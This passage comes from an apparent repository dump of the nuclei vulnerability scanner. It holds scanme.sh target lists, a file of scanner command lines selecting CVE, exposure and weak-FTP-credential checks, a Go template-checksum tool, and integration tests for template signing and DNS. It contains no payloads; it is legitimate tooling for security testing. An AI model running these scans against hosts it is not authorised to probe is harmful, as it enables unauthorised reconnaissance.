canme.sh/?a=987\nhttps://scanme.sh/?a=988\nhttps://scanme.sh/?a=989\nhttps://scanme.sh/?a=990\nhttps://scanme.sh/?a=991\nhttps://scanme.sh/?a=992\nhttps://scanme.sh/?a=993\nhttps://scanme.sh/?a=994\nhttps://scanme.sh/?a=995\nhttps://scanme.sh/?a=996\nhttps://scanme.sh/?a=997\nhttps://scanme.sh/?a=998\nhttps://scanme.sh/?a=999\nhttps://scanme.sh/?a=1000\n"
  },
  {
    "path": "cmd/functional-test/targets-150.txt",
    "content": "https://scanme.sh/?a=1\nhttps://scanme.sh/?a=2\nhttps://scanme.sh/?a=3\nhttps://scanme.sh/?a=4\nhttps://scanme.sh/?a=5\nhttps://scanme.sh/?a=6\nhttps://scanme.sh/?a=7\nhttps://scanme.sh/?a=8\nhttps://scanme.sh/?a=9\nhttps://scanme.sh/?a=10\nhttps://scanme.sh/?a=11\nhttps://scanme.sh/?a=12\nhttps://scanme.sh/?a=13\nhttps://scanme.sh/?a=14\nhttps://scanme.sh/?a=15\nhttps://scanme.sh/?a=16\nhttps://scanme.sh/?a=17\nhttps://scanme.sh/?a=18\nhttps://scanme.sh/?a=19\nhttps://scanme.sh/?a=20\nhttps://scanme.sh/?a=21\nhttps://scanme.sh/?a=22\nhttps://scanme.sh/?a=23\nhttps://scanme.sh/?a=24\nhttps://scanme.sh/?a=25\nhttps://scanme.sh/?a=26\nhttps://scanme.sh/?a=27\nhttps://scanme.sh/?a=28\nhttps://scanme.sh/?a=29\nhttps://scanme.sh/?a=30\nhttps://scanme.sh/?a=31\nhttps://scanme.sh/?a=32\nhttps://scanme.sh/?a=33\nhttps://scanme.sh/?a=34\nhttps://scanme.sh/?a=35\nhttps://scanme.sh/?a=36\nhttps://scanme.sh/?a=37\nhttps://scanme.sh/?a=38\nhttps://scanme.sh/?a=39\nhttps://scanme.sh/?a=40\nhttps://scanme.sh/?a=41\nhttps://scanme.sh/?a=42\nhttps://scanme.sh/?a=43\nhttps://scanme.sh/?a=44\nhttps://scanme.sh/?a=45\nhttps://scanme.sh/?a=46\nhttps://scanme.sh/?a=47\nhttps://scanme.sh/?a=48\nhttps://scanme.sh/?a=49\nhttps://scanme.sh/?a=50\nhttps://scanme.sh/?a=51\nhttps://scanme.sh/?a=52\nhttps://scanme.sh/?a=53\nhttps://scanme.sh/?a=54\nhttps://scanme.sh/?a=55\nhttps://scanme.sh/?a=56\nhttps://scanme.sh/?a=57\nhttps://scanme.sh/?a=58\nhttps://scanme.sh/?a=59\nhttps://scanme.sh/?a=60\nhttps://scanme.sh/?a=61\nhttps://scanme.sh/?a=62\nhttps://scanme.sh/?a=63\nhttps://scanme.sh/?a=64\nhttps://scanme.sh/?a=65\nhttps://scanme.sh/?a=66\nhttps://scanme.sh/?a=67\nhttps://scanme.sh/?a=68\nhttps://scanme.sh/?a=69\nhttps://scanme.sh/?a=70\nhttps://scanme.sh/?a=71\nhttps://scanme.sh/?a=72\nhttps://scanme.sh/?a=73\nhttps://scanme.sh/?a=74\nhttps://scanme.sh/?a=75\nhttps://scanme.sh/?a=76\nhttps://scanme.sh/?a=77\nhttps://scanme.sh/?a=78\nhttps://scanme.sh/?a=79\nhttps://scanme.sh/?a=80\nhttps://scanme.sh/?a=81\nhttps://scanme.sh/?a=82\nhttps://scanme.sh/?a=83\nhttps://scanme.sh/?a=84\nhttps://scanme.sh/?a=85\nhttps://scanme.sh/?a=86\nhttps://scanme.sh/?a=87\nhttps://scanme.sh/?a=88\nhttps://scanme.sh/?a=89\nhttps://scanme.sh/?a=90\nhttps://scanme.sh/?a=91\nhttps://scanme.sh/?a=92\nhttps://scanme.sh/?a=93\nhttps://scanme.sh/?a=94\nhttps://scanme.sh/?a=95\nhttps://scanme.sh/?a=96\nhttps://scanme.sh/?a=97\nhttps://scanme.sh/?a=98\nhttps://scanme.sh/?a=99\nhttps://scanme.sh/?a=100\nhttps://scanme.sh/?a=101\nhttps://scanme.sh/?a=102\nhttps://scanme.sh/?a=103\nhttps://scanme.sh/?a=104\nhttps://scanme.sh/?a=105\nhttps://scanme.sh/?a=106\nhttps://scanme.sh/?a=107\nhttps://scanme.sh/?a=108\nhttps://scanme.sh/?a=109\nhttps://scanme.sh/?a=110\nhttps://scanme.sh/?a=111\nhttps://scanme.sh/?a=112\nhttps://scanme.sh/?a=113\nhttps://scanme.sh/?a=114\nhttps://scanme.sh/?a=115\nhttps://scanme.sh/?a=116\nhttps://scanme.sh/?a=117\nhttps://scanme.sh/?a=118\nhttps://scanme.sh/?a=119\nhttps://scanme.sh/?a=120\nhttps://scanme.sh/?a=121\nhttps://scanme.sh/?a=122\nhttps://scanme.sh/?a=123\nhttps://scanme.sh/?a=124\nhttps://scanme.sh/?a=125\nhttps://scanme.sh/?a=126\nhttps://scanme.sh/?a=127\nhttps://scanme.sh/?a=128\nhttps://scanme.sh/?a=129\nhttps://scanme.sh/?a=130\nhttps://scanme.sh/?a=131\nhttps://scanme.sh/?a=132\nhttps://scanme.sh/?a=133\nhttps://scanme.sh/?a=134\nhttps://scanme.sh/?a=135\nhttps://scanme.sh/?a=136\nhttps://scanme.sh/?a=137\nhttps://scanme.sh/?a=138\nhttps://scanme.sh/?a=139\nhttps://scanme.sh/?a=140\nhttps://scanme.sh/?a=141\nhttps://scanme.sh/?a=142\nhttps://scanme.sh/?a=143\nhttps://scanme.sh/?a=144\nhttps://scanme.sh/?a=145\nhttps://scanme.sh/?a=146\nhttps://scanme.sh/?a=147\nhttps://scanme.sh/?a=148\nhttps://scanme.sh/?a=149\nhttps://scanme.sh/?a=150"
  },
  {
    "path": "cmd/functional-test/targets-250.txt",
    "content": "https://scanme.sh/?a=1\nhttps://scanme.sh/?a=2\nhttps://scanme.sh/?a=3\nhttps://scanme.sh/?a=4\nhttps://scanme.sh/?a=5\nhttps://scanme.sh/?a=6\nhttps://scanme.sh/?a=7\nhttps://scanme.sh/?a=8\nhttps://scanme.sh/?a=9\nhttps://scanme.sh/?a=10\nhttps://scanme.sh/?a=11\nhttps://scanme.sh/?a=12\nhttps://scanme.sh/?a=13\nhttps://scanme.sh/?a=14\nhttps://scanme.sh/?a=15\nhttps://scanme.sh/?a=16\nhttps://scanme.sh/?a=17\nhttps://scanme.sh/?a=18\nhttps://scanme.sh/?a=19\nhttps://scanme.sh/?a=20\nhttps://scanme.sh/?a=21\nhttps://scanme.sh/?a=22\nhttps://scanme.sh/?a=23\nhttps://scanme.sh/?a=24\nhttps://scanme.sh/?a=25\nhttps://scanme.sh/?a=26\nhttps://scanme.sh/?a=27\nhttps://scanme.sh/?a=28\nhttps://scanme.sh/?a=29\nhttps://scanme.sh/?a=30\nhttps://scanme.sh/?a=31\nhttps://scanme.sh/?a=32\nhttps://scanme.sh/?a=33\nhttps://scanme.sh/?a=34\nhttps://scanme.sh/?a=35\nhttps://scanme.sh/?a=36\nhttps://scanme.sh/?a=37\nhttps://scanme.sh/?a=38\nhttps://scanme.sh/?a=39\nhttps://scanme.sh/?a=40\nhttps://scanme.sh/?a=41\nhttps://scanme.sh/?a=42\nhttps://scanme.sh/?a=43\nhttps://scanme.sh/?a=44\nhttps://scanme.sh/?a=45\nhttps://scanme.sh/?a=46\nhttps://scanme.sh/?a=47\nhttps://scanme.sh/?a=48\nhttps://scanme.sh/?a=49\nhttps://scanme.sh/?a=50\nhttps://scanme.sh/?a=51\nhttps://scanme.sh/?a=52\nhttps://scanme.sh/?a=53\nhttps://scanme.sh/?a=54\nhttps://scanme.sh/?a=55\nhttps://scanme.sh/?a=56\nhttps://scanme.sh/?a=57\nhttps://scanme.sh/?a=58\nhttps://scanme.sh/?a=59\nhttps://scanme.sh/?a=60\nhttps://scanme.sh/?a=61\nhttps://scanme.sh/?a=62\nhttps://scanme.sh/?a=63\nhttps://scanme.sh/?a=64\nhttps://scanme.sh/?a=65\nhttps://scanme.sh/?a=66\nhttps://scanme.sh/?a=67\nhttps://scanme.sh/?a=68\nhttps://scanme.sh/?a=69\nhttps://scanme.sh/?a=70\nhttps://scanme.sh/?a=71\nhttps://scanme.sh/?a=72\nhttps://scanme.sh/?a=73\nhttps://scanme.sh/?a=74\nhttps://scanme.sh/?a=75\nhttps://scanme.sh/?a=76\nhttps://scanme.sh/?a=77\nhttps://scanme.sh/?a=78\nhttps://scanme.sh/?a=79\nhttps://scanme.sh/?a=80\nhttps://scanme.sh/?a=81\nhttps://scanme.sh/?a=82\nhttps://scanme.sh/?a=83\nhttps://scanme.sh/?a=84\nhttps://scanme.sh/?a=85\nhttps://scanme.sh/?a=86\nhttps://scanme.sh/?a=87\nhttps://scanme.sh/?a=88\nhttps://scanme.sh/?a=89\nhttps://scanme.sh/?a=90\nhttps://scanme.sh/?a=91\nhttps://scanme.sh/?a=92\nhttps://scanme.sh/?a=93\nhttps://scanme.sh/?a=94\nhttps://scanme.sh/?a=95\nhttps://scanme.sh/?a=96\nhttps://scanme.sh/?a=97\nhttps://scanme.sh/?a=98\nhttps://scanme.sh/?a=99\nhttps://scanme.sh/?a=100\nhttps://scanme.sh/?a=101\nhttps://scanme.sh/?a=102\nhttps://scanme.sh/?a=103\nhttps://scanme.sh/?a=104\nhttps://scanme.sh/?a=105\nhttps://scanme.sh/?a=106\nhttps://scanme.sh/?a=107\nhttps://scanme.sh/?a=108\nhttps://scanme.sh/?a=109\nhttps://scanme.sh/?a=110\nhttps://scanme.sh/?a=111\nhttps://scanme.sh/?a=112\nhttps://scanme.sh/?a=113\nhttps://scanme.sh/?a=114\nhttps://scanme.sh/?a=115\nhttps://scanme.sh/?a=116\nhttps://scanme.sh/?a=117\nhttps://scanme.sh/?a=118\nhttps://scanme.sh/?a=119\nhttps://scanme.sh/?a=120\nhttps://scanme.sh/?a=121\nhttps://scanme.sh/?a=122\nhttps://scanme.sh/?a=123\nhttps://scanme.sh/?a=124\nhttps://scanme.sh/?a=125\nhttps://scanme.sh/?a=126\nhttps://scanme.sh/?a=127\nhttps://scanme.sh/?a=128\nhttps://scanme.sh/?a=129\nhttps://scanme.sh/?a=130\nhttps://scanme.sh/?a=131\nhttps://scanme.sh/?a=132\nhttps://scanme.sh/?a=133\nhttps://scanme.sh/?a=134\nhttps://scanme.sh/?a=135\nhttps://scanme.sh/?a=136\nhttps://scanme.sh/?a=137\nhttps://scanme.sh/?a=138\nhttps://scanme.sh/?a=139\nhttps://scanme.sh/?a=140\nhttps://scanme.sh/?a=141\nhttps://scanme.sh/?a=142\nhttps://scanme.sh/?a=143\nhttps://scanme.sh/?a=144\nhttps://scanme.sh/?a=145\nhttps://scanme.sh/?a=146\nhttps://scanme.sh/?a=147\nhttps://scanme.sh/?a=148\nhttps://scanme.sh/?a=149\nhttps://scanme.sh/?a=150\nhttps://scanme.sh/?a=151\nhttps://scanme.sh/?a=152\nhttps://scanme.sh/?a=153\nhttps://scanme.sh/?a=154\nhttps://scanme.sh/?a=155\nhttps://scanme.sh/?a=156\nhttps://scanme.sh/?a=157\nhttps://scanme.sh/?a=158\nhttps://scanme.sh/?a=159\nhttps://scanme.sh/?a=160\nhttps://scanme.sh/?a=161\nhttps://scanme.sh/?a=162\nhttps://scanme.sh/?a=163\nhttps://scanme.sh/?a=164\nhttps://scanme.sh/?a=165\nhttps://scanme.sh/?a=166\nhttps://scanme.sh/?a=167\nhttps://scanme.sh/?a=168\nhttps://scanme.sh/?a=169\nhttps://scanme.sh/?a=170\nhttps://scanme.sh/?a=171\nhttps://scanme.sh/?a=172\nhttps://scanme.sh/?a=173\nhttps://scanme.sh/?a=174\nhttps://scanme.sh/?a=175\nhttps://scanme.sh/?a=176\nhttps://scanme.sh/?a=177\nhttps://scanme.sh/?a=178\nhttps://scanme.sh/?a=179\nhttps://scanme.sh/?a=180\nhttps://scanme.sh/?a=181\nhttps://scanme.sh/?a=182\nhttps://scanme.sh/?a=183\nhttps://scanme.sh/?a=184\nhttps://scanme.sh/?a=185\nhttps://scanme.sh/?a=186\nhttps://scanme.sh/?a=187\nhttps://scanme.sh/?a=188\nhttps://scanme.sh/?a=189\nhttps://scanme.sh/?a=190\nhttps://scanme.sh/?a=191\nhttps://scanme.sh/?a=192\nhttps://scanme.sh/?a=193\nhttps://scanme.sh/?a=194\nhttps://scanme.sh/?a=195\nhttps://scanme.sh/?a=196\nhttps://scanme.sh/?a=197\nhttps://scanme.sh/?a=198\nhttps://scanme.sh/?a=199\nhttps://scanme.sh/?a=200\nhttps://scanme.sh/?a=201\nhttps://scanme.sh/?a=202\nhttps://scanme.sh/?a=203\nhttps://scanme.sh/?a=204\nhttps://scanme.sh/?a=205\nhttps://scanme.sh/?a=206\nhttps://scanme.sh/?a=207\nhttps://scanme.sh/?a=208\nhttps://scanme.sh/?a=209\nhttps://scanme.sh/?a=210\nhttps://scanme.sh/?a=211\nhttps://scanme.sh/?a=212\nhttps://scanme.sh/?a=213\nhttps://scanme.sh/?a=214\nhttps://scanme.sh/?a=215\nhttps://scanme.sh/?a=216\nhttps://scanme.sh/?a=217\nhttps://scanme.sh/?a=218\nhttps://scanme.sh/?a=219\nhttps://scanme.sh/?a=220\nhttps://scanme.sh/?a=221\nhttps://scanme.sh/?a=222\nhttps://scanme.sh/?a=223\nhttps://scanme.sh/?a=224\nhttps://scanme.sh/?a=225\nhttps://scanme.sh/?a=226\nhttps://scanme.sh/?a=227\nhttps://scanme.sh/?a=228\nhttps://scanme.sh/?a=229\nhttps://scanme.sh/?a=230\nhttps://scanme.sh/?a=231\nhttps://scanme.sh/?a=232\nhttps://scanme.sh/?a=233\nhttps://scanme.sh/?a=234\nhttps://scanme.sh/?a=235\nhttps://scanme.sh/?a=236\nhttps://scanme.sh/?a=237\nhttps://scanme.sh/?a=238\nhttps://scanme.sh/?a=239\nhttps://scanme.sh/?a=240\nhttps://scanme.sh/?a=241\nhttps://scanme.sh/?a=242\nhttps://scanme.sh/?a=243\nhttps://scanme.sh/?a=244\nhttps://scanme.sh/?a=245\nhttps://scanme.sh/?a=246\nhttps://scanme.sh/?a=247\nhttps://scanme.sh/?a=248\nhttps://scanme.sh/?a=249\nhttps://scanme.sh/?a=250\n"
  },
  {
    "path": "cmd/functional-test/targets.txt",
    "content": "scanme.sh\nscanme.sh?a=1\nscanme.sh?a=2\nscanme.sh?a=3"
  },
  {
    "path": "cmd/functional-test/testcases.txt",
    "content": "# Simple binary invocation\n{{binary}}\n\n# Template tags filter\n{{binary}} -tags cve -ntv 8.8.8,8.8.9\n{{binary}} -tags cve\n{{binary}} -tags cve,exposure\n{{binary}} -tags cve,exposure -tags token\n{{binary}} -tags cve,exposure -tags token,logs\n{{binary}} -tags \"cve\",\"exposure\" -tags \"token\",\"logs\"\n{{binary}} -tags 'cve','exposure' -tags 'token','logs'\n{{binary}} -tags cve -severity high\n{{binary}} -tags cve,exposure -severity high,critical\n{{binary}} -tags cve,exposure -severity high,critical,medium\n{{binary}} -tags cve -author geeknik\n{{binary}} -tags cve -author geeknik,pdteam\n{{binary}} -tags cve -author geeknik -severity high\n{{binary}} -tags cve\n{{binary}} -tags cve,exposure\n{{binary}} -tags cve,exposure -tags token\n{{binary}} -tags cve,exposure -tags token,logs\n{{binary}} -tags \"cve\",\"exposure\" -tags \"token\",\"logs\"\n{{binary}} -tags 'cve','exposure' -tags 'token','logs'\n{{binary}} -tags cve -severity high\n{{binary}} -tags cve,exposure -severity high,critical\n{{binary}} -tags cve,exposure -severity high,critical,medium\n{{binary}} -tags cve -author geeknik\n{{binary}} -tags cve -author geeknik,pdteam\n{{binary}} -tags cve -author geeknik -severity high\n{{binary}} -tags cve,exposure -author geeknik,pdteam -severity high,critical\n{{binary}} -tags \"cve,exposure\" -author \"geeknik,pdteam\" -severity high,critical\n{{binary}} -tags cve -etags ssrf\n{{binary}} -tags cve,exposure -etags ssrf,config\n{{binary}} -tags cve,exposure -etags ssrf,config -severity high\n{{binary}} -tags cve,exposure -etags ssrf,config -severity high -author geeknik\n{{binary}} -tags cve,dos,fuzz\n{{binary}} -tags cve -include-tags dos,fuzz\n{{binary}} -tags cve -exclude-tags cve2020\n{{binary}} -tags cve -exclude-templates http/cves/2020/\n{{binary}} -tags cve -exclude-templates http/cves/2020/CVE-2020-9757.yaml\n{{binary}} -tags cve -exclude-templates http/cves/2020/CVE-2020-9757.yaml -exclude-templates http/cves/2021/\n{{binary}} -t http/cves/\n{{binary}} -t http/cves/ -t http/exposures/\n{{binary}} -t http/cves/ -t http/exposures/ -tags config\n{{binary}} -t http/cves/ -t http/exposures/ -tags config,ssrf\n{{binary}} -t http/cves/ -t http/exposures/ -tags config -severity high,critical\n{{binary}} -t http/cves/ -t http/exposures/ -tags config -severity high,critical -author geeknik,pdteam\n{{binary}} -t http/cves/ -t http/exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli\n{{binary}} -t http/cves/ -t http/exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -exclude-templates http/cves/2021/\n{{binary}} -t http/cves/ -t http/exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -exclude-templates http/cves/2017/CVE-2017-7269.yaml\n{{binary}} -t http/cves/ -t http/exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -include-templates http/cves/2017/CVE-2017-7269.yaml\n\n# Advanced Filtering\n{{binary}} -tags cve -author geeknik,pdteam  -tc severity=='high'\n{{binary}} -tc contains(authors,'pdteam')\n{{binary}} -t http/cves/ -t http/exposures/ -tc contains(tags,'cve') -exclude-templates http/cves/2020/CVE-2020-9757.yaml\n{{binary}} -tc protocol=='dns'\n{{binary}} -tc contains(http_method,'GET')\n{{binary}} -tc len(body)>0\n{{binary}} -tc contains(matcher_type,'word')\n{{binary}} -tc contains(extractor_type,'regex')\n{{binary}} -tc contains(description,'wordpress')\n\n# Workflow Filters\n{{binary}} -w workflows\n{{binary}} -w workflows -author geeknik,pdteam\n{{binary}} -w workflows -severity high,critical\n{{binary}} -w workflows -author geeknik,pdteam -severity high,critical\n\n# Input Types\n# http protocol\n# host\n{{binary}} -id tech-detect -u scanme.sh\n# host:port\n{{binary}} -id tech-detect -u scanme.sh:80\n# scheme://host:port\n{{binary}} -id tech-detect -u http://scanme.sh:80\n# scheme://host\n{{binary}} -id tech-detect -u https://scanme.sh\n\n# Network Protocol\n# host\n{{binary}} -id ftp-weak-credentials -u scanme.sh\n# host:port\n{{binary}} -id ftp-weak-credentials -u scanme.sh:21\n\n# SSL Protocol\n# host\n{{binary}} -id tls-version -u scanme.sh\n# host:port\n{{binary}} -id tls-version -u scanme.sh:22\n\n# Options\n# Tls Impersonate\n{{binary}} -id tech-detect -tlsi -u https://scanme.sh"
  },
  {
    "path": "cmd/generate-checksum/main.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"io\"\n\t\"io/fs\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\nfunc main() {\n\tif len(os.Args) < 3 {\n\t\tlog.Fatalf(\"Usage: %s <templates-directory> <checksum-file>\\n\", os.Args[0])\n\t}\n\tchecksumFile := os.Args[2]\n\ttemplatesDirectory := os.Args[1]\n\n\tfile, err := os.Create(checksumFile)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not create file: %s\\n\", err)\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\terr = filepath.WalkDir(templatesDirectory, func(path string, d fs.DirEntry, err error) error {\n\t\tif err != nil || d.IsDir() {\n\t\t\treturn nil\n\t\t}\n\t\tpathIndex := path[strings.Index(path, \"nuclei-templates/\")+17:]\n\t\tpathIndex = strings.TrimPrefix(pathIndex, \"nuclei-templates/\")\n\t\t// Ignore items starting with dots\n\t\tif strings.HasPrefix(pathIndex, \".\") {\n\t\t\treturn nil\n\t\t}\n\t\tdata, err := os.ReadFile(path)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\th := sha1.New()\n\t\t_, _ = io.Copy(h, bytes.NewReader(data))\n\t\thash := hex.EncodeToString(h.Sum(nil))\n\n\t\t_, _ = file.WriteString(pathIndex)\n\t\t_, _ = file.WriteString(\":\")\n\t\t_, _ = file.WriteString(hash)\n\t\t_, _ = file.WriteString(\"\\n\")\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not walk directory: %s\\n\", err)\n\t}\n}\n"
  },
  {
    "path": "cmd/integration-test/code.go",
    "content": "package main\n\nimport (\n\t\"errors\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\n\tosutils \"github.com/projectdiscovery/utils/os\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar isCodeDisabled = func() bool { return osutils.IsWindows() && os.Getenv(\"CI\") == \"true\" }\n\nvar codeTestCases = []TestCaseInfo{\n\t{Path: \"protocols/code/py-snippet.yaml\", TestCase: &codeSnippet{}, DisableOn: isCodeDisabled},\n\t{Path: \"protocols/code/py-file.yaml\", TestCase: &codeFile{}, DisableOn: isCodeDisabled},\n\t{Path: \"protocols/code/py-env-var.yaml\", TestCase: &codeEnvVar{}, DisableOn: isCodeDisabled},\n\t{Path: \"protocols/code/unsigned.yaml\", TestCase: &unsignedCode{}, DisableOn: isCodeDisabled},\n\t{Path: \"protocols/code/py-nosig.yaml\", TestCase: &codePyNoSig{}, DisableOn: isCodeDisabled},\n\t{Path: \"protocols/code/py-interactsh.yaml\", TestCase: &codeSnippet{}, DisableOn: isCodeDisabled},\n\t{Path: \"protocols/code/ps1-snippet.yaml\", TestCase: &codeSnippet{}, DisableOn: func() bool { return !osutils.IsWindows() || isCodeDisabled() }},\n\t{Path: \"protocols/code/pre-condition.yaml\", TestCase: &codePreCondition{}, DisableOn: isCodeDisabled},\n\t{Path: \"protocols/code/sh-virtual.yaml\", TestCase: &codeSnippet{}, DisableOn: func() bool { return !osutils.IsLinux() || isCodeDisabled() }},\n\t{Path: \"protocols/code/py-virtual.yaml\", TestCase: &codeSnippet{}, DisableOn: func() bool { return !osutils.IsLinux() || isCodeDisabled() }},\n\t{Path: \"protocols/code/pwsh-echo.yaml\", TestCase: &codeSnippet{}, DisableOn: func() bool { return isCodeDisabled() }},\n}\n\nconst (\n\ttestCertFile = \"protocols/keys/ci.crt\"\n\ttestKeyFile  = \"protocols/keys/ci-private-key.pem\"\n)\n\nvar testcertpath = \"\"\n\nfunc init() {\n\tif isCodeDisabled() {\n\t\t// skip executing code protocol in CI on windows\n\t\treturn\n\t}\n\t// allow local file access to load content of file references in template\n\t// in order to sign them for testing purposes\n\ttemplates.TemplateSignerLFA()\n\n\ttsigner, err := signer.NewTemplateSignerFromFiles(testCertFile, testKeyFile)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttestcertpath, _ = filepath.Abs(testCertFile)\n\n\tfor _, v := range codeTestCases {\n\t\ttemplatePath := v.Path\n\t\ttestCase := v.TestCase\n\n\t\tif v.DisableOn != nil && v.DisableOn() {\n\t\t\t// skip ps1 test case on non-windows platforms\n\t\t\tcontinue\n\t\t}\n\n\t\ttemplatePath, err := filepath.Abs(templatePath)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\t// skip\n\t\t// - unsigned test cases\n\t\tif _, ok := testCase.(*unsignedCode); ok {\n\t\t\tcontinue\n\t\t}\n\t\tif _, ok := testCase.(*codePyNoSig); ok {\n\t\t\tcontinue\n\t\t}\n\t\tif err := templates.SignTemplate(tsigner, templatePath); err != nil {\n\t\t\tlog.Fatalf(\"Could not sign template %v got: %s\\n\", templatePath, err)\n\t\t}\n\t}\n\n}\n\nfunc getEnvValues() []string {\n\treturn []string{\n\t\tsigner.CertEnvVarName + \"=\" + testcertpath,\n\t}\n}\n\ntype codeSnippet struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *codeSnippet) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), \"-t\", filePath, \"-u\", \"input\", \"-code\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype codePreCondition struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *codePreCondition) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), \"-t\", filePath, \"-u\", \"input\", \"-code\", \"-esc\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif osutils.IsLinux() {\n\t\treturn expectResultsCount(results, 1)\n\t} else {\n\t\treturn expectResultsCount(results, 0)\n\n\t}\n}\n\ntype codeFile struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *codeFile) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), \"-t\", filePath, \"-u\", \"input\", \"-code\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype codeEnvVar struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *codeEnvVar) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), \"-t\", filePath, \"-u\", \"input\", \"-V\", \"baz=baz\", \"-code\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype unsignedCode struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *unsignedCode) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), \"-t\", filePath, \"-u\", \"input\", \"-code\")\n\n\t// should error out\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// this point should never be reached\n\treturn errors.Join(expectResultsCount(results, 1), errors.New(\"unsigned template was executed\"))\n}\n\ntype codePyNoSig struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *codePyNoSig) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), \"-t\", filePath, \"-u\", \"input\", \"-code\")\n\n\t// should error out\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// this point should never be reached\n\treturn errors.Join(expectResultsCount(results, 1), errors.New(\"unsigned template was executed\"))\n}\n"
  },
  {
    "path": "cmd/integration-test/custom-dir.go",
    "content": "package main\n\nimport (\n\t\"os\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\ntype customConfigDirTest struct{}\n\nvar customConfigDirTestCases = []TestCaseInfo{\n\t{Path: \"protocols/dns/cname-fingerprint.yaml\", TestCase: &customConfigDirTest{}},\n}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *customConfigDirTest) Execute(filePath string) error {\n\tcustomTempDirectory, err := os.MkdirTemp(\"\", \"\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(customTempDirectory)\n\t}()\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, []string{\"NUCLEI_CONFIG_DIR=\" + customTempDirectory}, \"-t\", filePath, \"-u\", \"8x8exch02.8x8.com\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(results) == 0 {\n\t\treturn nil\n\t}\n\tfiles, err := os.ReadDir(customTempDirectory)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar fileNames []string\n\tfor _, file := range files {\n\t\tfileNames = append(fileNames, file.Name())\n\t}\n\treturn expectResultsCount(fileNames, 4)\n}\n"
  },
  {
    "path": "cmd/integration-test/dns.go",
    "content": "package main\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar dnsTestCases = []TestCaseInfo{\n\t{Path: \"protocols/dns/a.yaml\", TestCase: &dnsBasic{}},\n\t{Path: \"protocols/dns/aaaa.yaml\", TestCase: &dnsBasic{}},\n\t{Path: \"protocols/dns/cname.yaml\", TestCase: &dnsBasic{}},\n\t{Path: \"protocols/dns/srv.yaml\", TestCase: &dnsBasic{}},\n\t{Path: \"protocols/dns/ns.yaml\", TestCase: &dnsBasic{}},\n\t{Path: \"protocols/dns/txt.yaml\", TestCase: &dnsBasic{}},\n\t{Path: \"protocols/dns/ptr.yaml\", TestCase: &dnsPtr{}},\n\t{Path: \"protocols/dns/caa.yaml\", TestCase: &dnsCAA{}},\n\t{Path: \"protocols/dns/tlsa.yaml\", TestCase: &dnsTLSA{}},\n\t{Path: \"protocols/dns/variables.yaml\", TestCase: &dnsVariables{}},\n\t{Path: \"protocols/dns/payload.yaml\", TestCase: &dnsPayload{}},\n\t{Path: \"protocols/dns/dsl-matcher-variable.yaml\", TestCase: &dnsDSLMatcherVariable{}},\n}\n\ntype dnsBasic struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsBasic) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"one.one.one.one\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype dnsPtr struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsPtr) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"1.1.1.1\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype dnsCAA struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsCAA) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"google.com\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype 